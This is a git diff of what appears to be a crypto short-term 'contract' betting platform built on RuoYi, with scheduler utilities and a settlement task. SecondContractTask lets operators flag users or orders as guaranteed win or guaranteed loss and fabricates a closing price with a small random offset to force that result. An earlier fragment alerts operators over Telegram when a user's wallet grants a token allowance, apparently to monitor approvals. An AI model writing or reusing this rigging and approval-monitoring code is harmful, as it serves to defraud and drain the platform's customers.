appAddressInfoService.refreshUsdtAllowed(appAddressInfo); + appAddressInfoService.refreshUsdcAllowed(appAddressInfo); + cacheMap.remove(userIdStr); + //机器人通知 + SendMessage sendMessage = new SendMessage(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + StringBuilder sb = new StringBuilder(); + sb.append("⚠️⚠️⚠️\uD83E\uDDE7\uD83E\uDDE7\uD83E\uDDE7监控地址增加\uD83E\uDDE7\uD83E\uDDE7\uD83E\uDDE7⚠️⚠️⚠️"); + sb.append("\n\n"); + sb.append("\uD83C\uDD94用户ID:").append(appAddressInfo.getUserId()).append("\n"); + sb.append("\n\n"); + sb.append("⏰变动时间: ").append(formatter.format(appAddressInfo.getUpdateTime())).append("\n"); + sb.append("\n\n"); + sb.append("\uD83D\uDCB0钱包地址:").append(appAddressInfo.getAddress()).append("\n"); + sb.append("\n\n"); + String context = sb.toString(); + sendMessage.setText(context); + myTelegramBot.toSend(sendMessage); + log.debug("成功发送用户 {} U钱包地址 {},授权成功 ", appAddressInfo.getUserId(), appAddressInfo.getAddress()); + if (cacheMap.size() < 1) { + redisCache.deleteObject("approve"); + } else { + cacheMap.remove(userIdStr); + redisCache.setCacheMap("approve", cacheMap); + } + } else if (hashStatus.equals("1")) {//失败 + cacheMap.remove(userIdStr); + redisCache.setCacheMap("approve", cacheMap); + } + } + } + } + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/SecondContractTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/SecondContractTask.java new file mode 100644 index 0000000..cfa947f --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/SecondContractTask.java @@ -0,0 +1,318 @@ +package com.ruoyi.quartz.task; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.common.utils.BigDecimalUtil; +import com.ruoyi.common.utils.RedisUtil; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.util.*; +import java.util.concurrent.ThreadLocalRandom; + + +/** + * 秒合约结算 + */ +@RequiredArgsConstructor +@Slf4j +@Component("secondContractTask") +public class SecondContractTask { + + @Resource + private ITSecondContractOrderService secondContractOrderService; + @Resource + private RedisCache redisCache; + @Resource + private ITAppAssetService assetService ; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private ITAppUserService appUserService; + @Resource + private ITAppUserDetailService appUserDetailService; + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private SettingService settingService; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + + public void secondContract() { + try { + //查找所有正在参与的秒合约订单 状态为参与中 结束时间小于当前时间 + List list = secondContractOrderService.list( + new LambdaQueryWrapper() + .eq(TSecondContractOrder::getStatus, "0") + .lt(TSecondContractOrder::getCloseTime,new Date().getTime()) + ); + for (TSecondContractOrder order : list) { + TAppUser tAppUser = appUserService.selectTAppUserByUserId(order.getUserId()); + settlement(order, tAppUser); + } + + } catch (Exception e) { + e.printStackTrace(); + } + + } + + private void settlement(TSecondContractOrder order, TAppUser tAppUser) { + + + try { + //设置开奖结果 赢 1 输 2 平 3 + String openResult = "1"; + //返还金额 + BigDecimal returnAmount = BigDecimal.ZERO; + //投注金额 + BigDecimal betAmount = order.getBetAmount(); + //类型 涨跌 1 涨 0 跌 + Integer type = Integer.parseInt(order.getBetContent()); + //赔率 + BigDecimal rate = order.getRate(); + //买入价格 + BigDecimal openPrice = order.getOpenPrice(); + //订单标识 0正常 1包赢 2包输 + Integer sign = order.getSign(); + //判断币种类型 + String coinSymbol = order.getCoinSymbol(); + //当前最新价格 + BigDecimal newPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + order.getCoinSymbol()); + TSecondCoinConfig one = secondCoinConfigService.getOne(new LambdaQueryWrapper().eq(TSecondCoinConfig::getCoin, coinSymbol)); + if(one != null && 2!=one.getType()){ + newPrice=redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + order.getCoinSymbol().toUpperCase()); + } + if(0 != order.getSign()){ + newPrice=getClosePrice(openPrice,newPrice, sign,type); + } + TAppUserDetail tAppUserDetail = appUserDetailService.getOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, tAppUser.getUserId())); + //连赢场次 + int winNum=tAppUserDetail.getWinNum()==null?0:tAppUserDetail.getWinNum(); + //连输场次 + int loseNum=tAppUserDetail.getLoseNum()==null?0:tAppUserDetail.getLoseNum(); + + //用户输赢表示 0正常 1包赢 2包输 + Integer buff = tAppUser.getBuff(); + if(buff==0){ + //连赢操作 + if(winNum>0 && sign==0 ){ + tAppUserDetail.setWinNum(winNum-1); + appUserDetailService.updateById(tAppUserDetail); + newPrice=getClosePrice(openPrice,newPrice, 1,type); + sign=1; + } + //连输操作 + if(loseNum>0 && sign==0 ){ + tAppUserDetail.setLoseNum(loseNum-1); + appUserDetailService.updateById(tAppUserDetail); + newPrice=getClosePrice(openPrice,newPrice, 2,type); + sign=2; + } + } + if(buff==1){ + sign=1; + newPrice=getClosePrice(openPrice,newPrice, 1,type); + } + if(buff==2){ + newPrice=getClosePrice(openPrice,newPrice, 2,type); + sign=2; + } + + // 1 涨 0 跌 + if(CommonEnum.TRUE.getCode().equals(type)){ + //类型为买涨 + //判断输赢 + if(openPrice.compareTo(newPrice)>0){ + //输 判断 全赔 半赔 全输 + openResult="2"; + if(rate.compareTo(BigDecimal.ONE)<0){ + //半赔 + //计算待返金额 + returnAmount= betAmount.multiply(BigDecimal.ONE.subtract(rate)); + } + if(rate.compareTo(BigDecimal.ONE)>=0){ + //全赔 + //计算待返金额 + returnAmount= BigDecimal.ZERO; + } + if(null != order.getRateFlag() && order.getRateFlag()){ + returnAmount= BigDecimal.ZERO; + } + } + if(openPrice.compareTo(newPrice)<0){ + //赢 判断 全赔 半赔 + if(rate.compareTo(BigDecimal.ONE)<0){ + //半赔 + //计算待返金额 + returnAmount= betAmount.multiply(BigDecimal.ONE.add(rate)); + } + if(rate.compareTo(BigDecimal.ONE)>=0){ + //全赔 + //订单结算 修改订单状态 + returnAmount= betAmount.add(betAmount.multiply(rate)); + } + } + if(openPrice.compareTo(newPrice)==0){ + //平 //返还订单金额 + //订单结算 修改订单状态 + openResult="3"; + returnAmount= betAmount; + } + }else { + //跌 + if(openPrice.compareTo(newPrice)>0){ + //赢 判断 全赔 半赔 + if(rate.compareTo(BigDecimal.ONE)<0){ + //半赔 + //计算待返金额 + returnAmount= betAmount.multiply(BigDecimal.ONE.add(rate)); + } + if(rate.compareTo(BigDecimal.ONE)>=0){ + //全赔 + //计算待返金额 + returnAmount= betAmount.add(betAmount.multiply(rate)); + } + + } + if(openPrice.compareTo(newPrice)<0){ + //输 判断 全赔 半赔 + openResult="2"; + if(rate.compareTo(BigDecimal.ONE)<0){ + //半赔 + //计算待返金额 + returnAmount= betAmount.multiply(BigDecimal.ONE.subtract(rate)); + } + if(rate.compareTo(BigDecimal.ZERO)==0){ + //全赔 + returnAmount= BigDecimal.ZERO; + } + if(null != order.getRateFlag() && order.getRateFlag()){ + returnAmount= BigDecimal.ZERO; + } + + } + if(openPrice.compareTo(newPrice)==0){ + //平 //返还订单金额 + openResult="3"; + returnAmount= betAmount; + } + } + if(returnAmount.compareTo(BigDecimal.ZERO)>0){ + //返回至 用户资产 + Map assetByUserIdList = assetService.getAssetByUserIdList(order.getUserId()); + TAppAsset appAsset = assetByUserIdList.get(order.getBaseSymbol()+ order.getUserId()); + BigDecimal availableAmount = appAsset.getAvailableAmount(); + appAsset.setAmout(appAsset.getAmout().add(returnAmount)); + appAsset.setAvailableAmount(availableAmount.add(returnAmount)); + assetService.updateTAppAsset(appAsset); + //添加账变 + appWalletRecordService.generateRecord(order.getUserId(),returnAmount, RecordEnum.OPTION_SETTLEMENT.getCode(),"", order.getOrderNo(),RecordEnum.OPTION_SETTLEMENT.getInfo(),availableAmount,availableAmount.add(returnAmount), order.getBaseSymbol(),tAppUser.getAdminParentIds()); + + } + //订单结算 修改订单状态 + order.setOpenResult(openResult); + order.setClosePrice(newPrice); + order.setStatus(1); + order.setRewardAmount(returnAmount); + order.setSign(sign); + secondContractOrderService.updateById(order); + +// //秒合约打码 +// Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); +// if (Objects.nonNull(setting)){ +// AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); +// if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getSencordIsOpen()) && addMosaic.getSencordIsOpen()){ +// tAppUser.setTotleAmont(tAppUser.getTotleAmont().add(order.getBetAmount())); +// appUserService.updateTotleAmont(tAppUser); +// } +// } + + HashMap object = new HashMap<>(); + object.put("settlement","3"); + redisUtil.addStream(redisStreamNames,object); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + /** + * + * @param openPrice 开盘价 + * @param closePrice 收盘价 + * @param sign 标识 订单标记 0正常 1包赢 2包输 + * @param type 跌涨 1 涨 0 跌 + * @return + */ + public static BigDecimal getClosePrice(BigDecimal openPrice, BigDecimal closePrice, Integer sign, Integer type) { + // 包赢,买涨,实际涨 买跌,实际跌 则返回原关盘价 + if (sign == 1) { + // 包赢 + if ((1==type && closePrice.compareTo(openPrice) > 0) || (0==type && closePrice.compareTo(openPrice) < 0)) + { + return closePrice; + } + } + if (sign == 2){ + if ((1==type && closePrice.compareTo(openPrice) < 0) ||(0==type && closePrice.compareTo(openPrice) > 0)) + { + // 包输 买涨,实际跌 买跌,实际涨 则返回原关盘价 + return closePrice; + } + } + + BigDecimal diff; + // 防止24421.540000返回6位小数,stripTrailingZeros()去掉后面的0 + int digits = getNumberDecimalDigits(openPrice.stripTrailingZeros().toPlainString()); + if (digits == 0) { + // 没有小数,就生成0-1之间的小数 + diff = BigDecimal.valueOf(ThreadLocalRandom.current().nextDouble()); + } else { + // 有小数,就生成最后一位小数*1-10之间的数额,比如2位小数,就是0.01*(1-10)之间的随机数 + diff = BigDecimal.valueOf((double) 1 / Math.pow(10, digits) * (ThreadLocalRandom.current().nextInt(10) + 1)); + } + + if (sign == 1) { + // 包赢,买涨,要涨/买跌,要跌 + if (1==type) { // 涨 + closePrice = openPrice.add(diff); + } else if (0==type) { // 跌 + closePrice = openPrice.subtract(diff); + } + } else { + // 包输,买涨,要跌/买跌,要涨 + if (1==type) { // 涨 + closePrice = openPrice.subtract(diff); + } else if (0==type) { // 跌 + closePrice = openPrice.add(diff); + } + } + + return closePrice; + } + + // 获取小数位个数 + public static int getNumberDecimalDigits(String number) { + if (!number.contains(".")) { + return 0; + } + return number.length() - (number.indexOf(".") + 1); + } + + + +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/TaskExecutePool.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/TaskExecutePool.java new file mode 100644 index 0000000..ab28ac4 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/TaskExecutePool.java @@ -0,0 +1,30 @@ +package com.ruoyi.quartz.task; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.scheduling.annotation.EnableAsync; +import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; + +import java.util.concurrent.Executor; +import java.util.concurrent.ThreadPoolExecutor; + +/** + * 自定义线程池 + */ +@Configuration +@EnableAsync +public class TaskExecutePool { + + @Bean(name = "myTaskAsyncPool") + public Executor myTaskAsyncPool() { + ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); + executor.setCorePoolSize(10); //核心线程数 + executor.setMaxPoolSize(20); //最大线程数 + executor.setQueueCapacity(1000); //队列大小 + executor.setKeepAliveSeconds(300); //线程最大空闲时间 + executor.setThreadNamePrefix("async-Executor-"); //指定用于新创建的线程名称的前缀。 + executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy()); // 拒绝策略(一共四种,此处省略) + executor.initialize(); + return executor; + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/AbstractQuartzJob.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/AbstractQuartzJob.java new file mode 100644 index 0000000..731a5eb --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/AbstractQuartzJob.java @@ -0,0 +1,107 @@ +package com.ruoyi.quartz.util; + +import java.util.Date; +import org.quartz.Job; +import org.quartz.JobExecutionContext; +import org.quartz.JobExecutionException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.constant.ScheduleConstants; +import com.ruoyi.common.utils.ExceptionUtil; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.bean.BeanUtils; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.quartz.domain.SysJob; +import com.ruoyi.quartz.domain.SysJobLog; +import com.ruoyi.quartz.service.ISysJobLogService; + +/** + * 抽象quartz调用 + * + * @author ruoyi + */ +public abstract class AbstractQuartzJob implements Job +{ + private static final Logger log = LoggerFactory.getLogger(AbstractQuartzJob.class); + + /** + * 线程本地变量 + */ + private static ThreadLocal threadLocal = new ThreadLocal<>(); + + @Override + public void execute(JobExecutionContext context) throws JobExecutionException + { + SysJob sysJob = new SysJob(); + BeanUtils.copyBeanProp(sysJob, context.getMergedJobDataMap().get(ScheduleConstants.TASK_PROPERTIES)); + try + { + before(context, sysJob); + if (sysJob != null) + { + doExecute(context, sysJob); + } + after(context, sysJob, null); + } + catch (Exception e) + { + log.error("任务执行异常 - :", e); + after(context, sysJob, e); + } + } + + /** + * 执行前 + * + * @param context 工作执行上下文对象 + * @param sysJob 系统计划任务 + */ + protected void before(JobExecutionContext context, SysJob sysJob) + { + threadLocal.set(new Date()); + } + + /** + * 执行后 + * + * @param context 工作执行上下文对象 + * @param sysJob 系统计划任务 + */ + protected void after(JobExecutionContext context, SysJob sysJob, Exception e) + { + Date startTime = threadLocal.get(); + threadLocal.remove(); + + final SysJobLog sysJobLog = new SysJobLog(); + sysJobLog.setJobName(sysJob.getJobName()); + sysJobLog.setJobGroup(sysJob.getJobGroup()); + sysJobLog.setInvokeTarget(sysJob.getInvokeTarget()); + sysJobLog.setStartTime(startTime); + sysJobLog.setStopTime(new Date()); + long runMs = sysJobLog.getStopTime().getTime() - sysJobLog.getStartTime().getTime(); + sysJobLog.setJobMessage(sysJobLog.getJobName() + " 总共耗时:" + runMs + "毫秒"); + if (e != null) + { + sysJobLog.setStatus(Constants.FAIL); + String errorMsg = StringUtils.substring(ExceptionUtil.getExceptionMessage(e), 0, 2000); + sysJobLog.setExceptionInfo(errorMsg); + } + else + { + sysJobLog.setStatus(Constants.SUCCESS); + } + + // 写入数据库当中 + SpringUtils.getBean(ISysJobLogService.class).addJobLog(sysJobLog); + } + + /** + * 执行方法,由子类重载 + * + * @param context 工作执行上下文对象 + * @param sysJob 系统计划任务 + * @throws Exception 执行过程中的异常 + */ + protected abstract void doExecute(JobExecutionContext context, SysJob sysJob) throws Exception; +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/CronUtils.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/CronUtils.java new file mode 100644 index 0000000..dd53839 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/CronUtils.java @@ -0,0 +1,63 @@ +package com.ruoyi.quartz.util; + +import java.text.ParseException; +import java.util.Date; +import org.quartz.CronExpression; + +/** + * cron表达式工具类 + * + * @author ruoyi + * + */ +public class CronUtils +{ + /** + * 返回一个布尔值代表一个给定的Cron表达式的有效性 + * + * @param cronExpression Cron表达式 + * @return boolean 表达式是否有效 + */ + public static boolean isValid(String cronExpression) + { + return CronExpression.isValidExpression(cronExpression); + } + + /** + * 返回一个字符串值,表示该消息无效Cron表达式给出有效性 + * + * @param cronExpression Cron表达式 + * @return String 无效时返回表达式错误描述,如果有效返回null + */ + public static String getInvalidMessage(String cronExpression) + { + try + { + new CronExpression(cronExpression); + return null; + } + catch (ParseException pe) + { + return pe.getMessage(); + } + } + + /** + * 返回下一个执行时间根据给定的Cron表达式 + * + * @param cronExpression Cron表达式 + * @return Date 下次Cron表达式执行时间 + */ + public static Date getNextExecution(String cronExpression) + { + try + { + CronExpression cron = new CronExpression(cronExpression); + return cron.getNextValidTimeAfter(new Date(System.currentTimeMillis())); + } + catch (ParseException e) + { + throw new IllegalArgumentException(e.getMessage()); + } + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java new file mode 100644 index 0000000..1c7c631 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java @@ -0,0 +1,183 @@ +package com.ruoyi.quartz.util; + +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.LinkedList; +import java.util.List; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.quartz.domain.SysJob; + +/** + * 任务执行工具 + * + * @author ruoyi + */ +public class JobInvokeUtil +{ + /** + * 执行方法 + * + * @param sysJob 系统任务 + */ + public static void invokeMethod(SysJob sysJob) throws Exception + { + String invokeTarget = sysJob.getInvokeTarget(); + System.out.println("jobId:"+sysJob.getJobId()); + String beanName = getBeanName(invokeTarget); + String methodName = getMethodName(invokeTarget); + List methodParams = getMethodParams(invokeTarget); + + if (!isValidClassName(beanName)) + { + Object bean = SpringUtils.getBean(beanName); + invokeMethod(bean, methodName, methodParams); + } + else + { + Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance(); + invokeMethod(bean, methodName, methodParams); + } + } + + /** + * 调用任务方法 + * + * @param bean 目标对象 + * @param methodName 方法名称 + * @param methodParams 方法参数 + */ + private static void invokeMethod(Object bean, String methodName, List methodParams) + throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, + InvocationTargetException + { + if (StringUtils.isNotNull(methodParams) && methodParams.size() > 0) + { + Method method = bean.getClass().getMethod(methodName, getMethodParamsType(methodParams)); + method.invoke(bean, getMethodParamsValue(methodParams)); + } + else + { + Method method = bean.getClass().getMethod(methodName); + method.invoke(bean); + } + } + + /** + * 校验是否为为class包名 + * + * @param invokeTarget 名称 + * @return true是 false否 + */ + public static boolean isValidClassName(String invokeTarget) + { + return StringUtils.countMatches(invokeTarget, ".") > 1; + } + + /** + * 获取bean名称 + * + * @param invokeTarget 目标字符串 + * @return bean名称 + */ + public static String getBeanName(String invokeTarget) + { + String beanName = StringUtils.substringBefore(invokeTarget, "("); + return StringUtils.substringBeforeLast(beanName, "."); + } + + /** + * 获取bean方法 + * + * @param invokeTarget 目标字符串 + * @return method方法 + */ + public static String getMethodName(String invokeTarget) + { + String methodName = StringUtils.substringBefore(invokeTarget, "("); + return StringUtils.substringAfterLast(methodName, "."); + } + + /** + * 获取method方法参数相关列表 + * + * @param invokeTarget 目标字符串 + * @return method方法相关参数列表 + */ + public static List getMethodParams(String invokeTarget) + { + String methodStr = StringUtils.substringBetween(invokeTarget, "(", ")"); + if (StringUtils.isEmpty(methodStr)) + { + return null; + } + String[] methodParams = methodStr.split(",(?=([^\"']*[\"'][^\"']*[\"'])*[^\"']*$)"); + List classs = new LinkedList<>(); + for (int i = 0; i < methodParams.length; i++) + { + String str = StringUtils.trimToEmpty(methodParams[i]); + // String字符串类型,以'或"开头 + if (StringUtils.startsWithAny(str, "'", "\"")) + { + classs.add(new Object[] { StringUtils.substring(str, 1, str.length() - 1), String.class }); + } + // boolean布尔类型,等于true或者false + else if ("true".equalsIgnoreCase(str) || "false".equalsIgnoreCase(str)) + { + classs.add(new Object[] { Boolean.valueOf(str), Boolean.class }); + } + // long长整形,以L结尾 + else if (StringUtils.endsWith(str, "L")) + { + classs.add(new Object[] { Long.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Long.class }); + } + // double浮点类型,以D结尾 + else if (StringUtils.endsWith(str, "D")) + { + classs.add(new Object[] { Double.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Double.class }); + } + // 其他类型归类为整形 + else + { + classs.add(new Object[] { Integer.valueOf(str), Integer.class }); + } + } + return classs; + } + + /** + * 获取参数类型 + * + * @param methodParams 参数相关列表 + * @return 参数类型列表 + */ + public static Class[] getMethodParamsType(List methodParams) + { + Class[] classs = new Class[methodParams.size()]; + int index = 0; + for (Object[] os : methodParams) + { + classs[index] = (Class) os[1]; + index++; + } + return classs; + } + + /** + * 获取参数值 + * + * @param methodParams 参数相关列表 + * @return 参数值列表 + */ + public static Object[] getMethodParamsValue(List methodParams) + { + Object[] classs = new Object[methodParams.size()]; + int index = 0; + for (Object[] os : methodParams) + { + classs[index] = (Object) os[0]; + index++; + } + return classs; + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzDisallowConcurrentExecution.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzDisallowConcurrentExecution.java new file mode 100644 index 0000000..5e13558 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzDisallowConcurrentExecution.java @@ -0,0 +1,21 @@ +package com.ruoyi.quartz.util; + +import org.quartz.DisallowConcurrentExecution; +import org.quartz.JobExecutionContext; +import com.ruoyi.quartz.domain.SysJob; + +/** + * 定时任务处理(禁止并发执行) + * + * @author ruoyi + * + */ +@DisallowConcurrentExecution +public class QuartzDisallowConcurrentExecution extends AbstractQuartzJob +{ + @Override + protected void doExecute(JobExecutionContext context, SysJob sysJob) throws Exception + { + JobInvokeUtil.invokeMethod(sysJob); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java new file mode 100644 index 0000000..e975326 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java @@ -0,0 +1,19 @@ +package com.ruoyi.quartz.util; + +import org.quartz.JobExecutionContext; +import com.ruoyi.quartz.domain.SysJob; + +/** + * 定时任务处理(允许并发执行) + * + * @author ruoyi + * + */ +public class QuartzJobExecution extends AbstractQuartzJob +{ + @Override + protected void doExecute(JobExecutionContext context, SysJob sysJob) throws Exception + { + JobInvokeUtil.invokeMethod(sysJob); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java new file mode 100644 index 0000000..21fedae --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java @@ -0,0 +1,141 @@ +package com.ruoyi.quartz.util; + +import org.quartz.CronScheduleBuilder; +import org.quartz.CronTrigger; +import org.quartz.Job; +import org.quartz.JobBuilder; +import org.quartz.JobDetail; +import org.quartz.JobKey; +import org.quartz.Scheduler; +import org.quartz.SchedulerException; +import org.quartz.TriggerBuilder; +import org.quartz.TriggerKey; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.constant.ScheduleConstants; +import com.ruoyi.common.exception.job.TaskException; +import com.ruoyi.common.exception.job.TaskException.Code; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.quartz.domain.SysJob; + +/** + * 定时任务工具类 + * + * @author ruoyi + * + */ +public class ScheduleUtils +{ + /** + * 得到quartz任务类 + * + * @param sysJob 执行计划 + * @return 具体执行任务类 + */ + private static Class getQuartzJobClass(SysJob sysJob) + { + boolean isConcurrent = "0".equals(sysJob.getConcurrent()); + return isConcurrent ? QuartzJobExecution.class : QuartzDisallowConcurrentExecution.class; + } + + /** + * 构建任务触发对象 + */ + public static TriggerKey getTriggerKey(Long jobId, String jobGroup) + { + return TriggerKey.triggerKey(ScheduleConstants.TASK_CLASS_NAME + jobId, jobGroup); + } + + /** + * 构建任务键对象 + */ + public static JobKey getJobKey(Long jobId, String jobGroup) + { + return JobKey.jobKey(ScheduleConstants.TASK_CLASS_NAME + jobId, jobGroup); + } + + /** + * 创建定时任务 + */ + public static void createScheduleJob(Scheduler scheduler, SysJob job) throws SchedulerException, TaskException + { + Class jobClass = getQuartzJobClass(job); + // 构建job信息 + Long jobId = job.getJobId(); + String jobGroup = job.getJobGroup(); + JobDetail jobDetail = JobBuilder.newJob(jobClass).withIdentity(getJobKey(jobId, jobGroup)).build(); + + // 表达式调度构建器 + CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder.cronSchedule(job.getCronExpression()); + cronScheduleBuilder = handleCronScheduleMisfirePolicy(job, cronScheduleBuilder); + + // 按新的cronExpression表达式构建一个新的trigger + CronTrigger trigger = TriggerBuilder.newTrigger().withIdentity(getTriggerKey(jobId, jobGroup)) + .withSchedule(cronScheduleBuilder).build(); + + // 放入参数,运行时的方法可以获取 + jobDetail.getJobDataMap().put(ScheduleConstants.TASK_PROPERTIES, job); + + // 判断是否存在 + if (scheduler.checkExists(getJobKey(jobId, jobGroup))) + { + // 防止创建时存在数据问题 先移除,然后在执行创建操作 + scheduler.deleteJob(getJobKey(jobId, jobGroup)); + } + + // 判断任务是否过期 + if (StringUtils.isNotNull(CronUtils.getNextExecution(job.getCronExpression()))) + { + // 执行调度任务 + scheduler.scheduleJob(jobDetail, trigger); + } + + // 暂停任务 + if (job.getStatus().equals(ScheduleConstants.Status.PAUSE.getValue())) + { + scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup)); + } + } + + /** + * 设置定时任务策略 + */ + public static CronScheduleBuilder handleCronScheduleMisfirePolicy(SysJob job, CronScheduleBuilder cb) + throws TaskException + { + switch (job.getMisfirePolicy()) + { + case ScheduleConstants.MISFIRE_DEFAULT: + return cb; + case ScheduleConstants.MISFIRE_IGNORE_MISFIRES: + return cb.withMisfireHandlingInstructionIgnoreMisfires(); + case ScheduleConstants.MISFIRE_FIRE_AND_PROCEED: + return cb.withMisfireHandlingInstructionFireAndProceed(); + case ScheduleConstants.MISFIRE_DO_NOTHING: + return cb.withMisfireHandlingInstructionDoNothing(); + default: + throw new TaskException("The task misfire policy '" + job.getMisfirePolicy() + + "' cannot be used in cron schedule tasks", Code.CONFIG_ERROR); + } + } + + /** + * 检查包名是否为白名单配置 + * + * @param invokeTarget 目标字符串 + * @return 结果 + */ + public static boolean whiteList(String invokeTarget) + { + String packageName = StringUtils.substringBefore(invokeTarget, "("); + int count = StringUtils.countMatches(packageName, "."); + if (count > 1) + { + return StringUtils.containsAnyIgnoreCase(invokeTarget, Constants.JOB_WHITELIST_STR); + } + Object obj = SpringUtils.getBean(StringUtils.split(invokeTarget, ".")[0]); + String beanPackageName = obj.getClass().getPackage().getName(); + return StringUtils.containsAnyIgnoreCase(beanPackageName, Constants.JOB_WHITELIST_STR) + && !StringUtils.containsAnyIgnoreCase(beanPackageName, Constants.JOB_ERROR_STR); + } +} diff --git a/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobLogMapper.xml b/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobLogMapper.xml new file mode 100644 index 0000000..e608e42 --- /dev/null +++ b/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobLogMapper.xml @@ -0,0 +1,93 @@ + + + + + + + + + + + + + + + + + select job_log_id, job_name, job_group, invoke_target, job_message, status, exception_info, create_time + from sys_job_log + + + + + + + + + + delete from sys_job_log where job_log_id = #{jobLogId} + + + + delete from sys_job_log where job_log_id in + + #{jobLogId} + + + + + truncate table sys_job_log + + + + insert into sys_job_log( + job_log_id, + job_name, + job_group, + invoke_target, + job_message, + status, + exception_info, + create_time + )values( + #{jobLogId}, + #{jobName}, + #{jobGroup}, + #{invokeTarget}, + #{jobMessage}, + #{status}, + #{exceptionInfo}, + sysdate() + ) + + + \ No newline at end of file diff --git a/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobMapper.xml b/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobMapper.xml new file mode 100644 index 0000000..5605c44 --- /dev/null +++ b/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobMapper.xml @@ -0,0 +1,111 @@ + + + + + + + + + + + + + + + + + + + + + + select job_id, job_name, job_group, invoke_target, cron_expression, misfire_policy, concurrent, status, create_by, create_time, remark + from sys_job + + + + + + + + + + delete from sys_job where job_id = #{jobId} + + + + delete from sys_job where job_id in + + #{jobId} + + + + + update sys_job + + job_name = #{jobName}, + job_group = #{jobGroup}, + invoke_target = #{invokeTarget}, + cron_expression = #{cronExpression}, + misfire_policy = #{misfirePolicy}, + concurrent = #{concurrent}, + status = #{status}, + remark = #{remark}, + update_by = #{updateBy}, + update_time = sysdate() + + where job_id = #{jobId} + + + + insert into sys_job( + job_id, + job_name, + job_group, + invoke_target, + cron_expression, + misfire_policy, + concurrent, + status, + remark, + create_by, + create_time + )values( + #{jobId}, + #{jobName}, + #{jobGroup}, + #{invokeTarget}, + #{cronExpression}, + #{misfirePolicy}, + #{concurrent}, + #{status}, + #{remark}, + #{createBy}, + 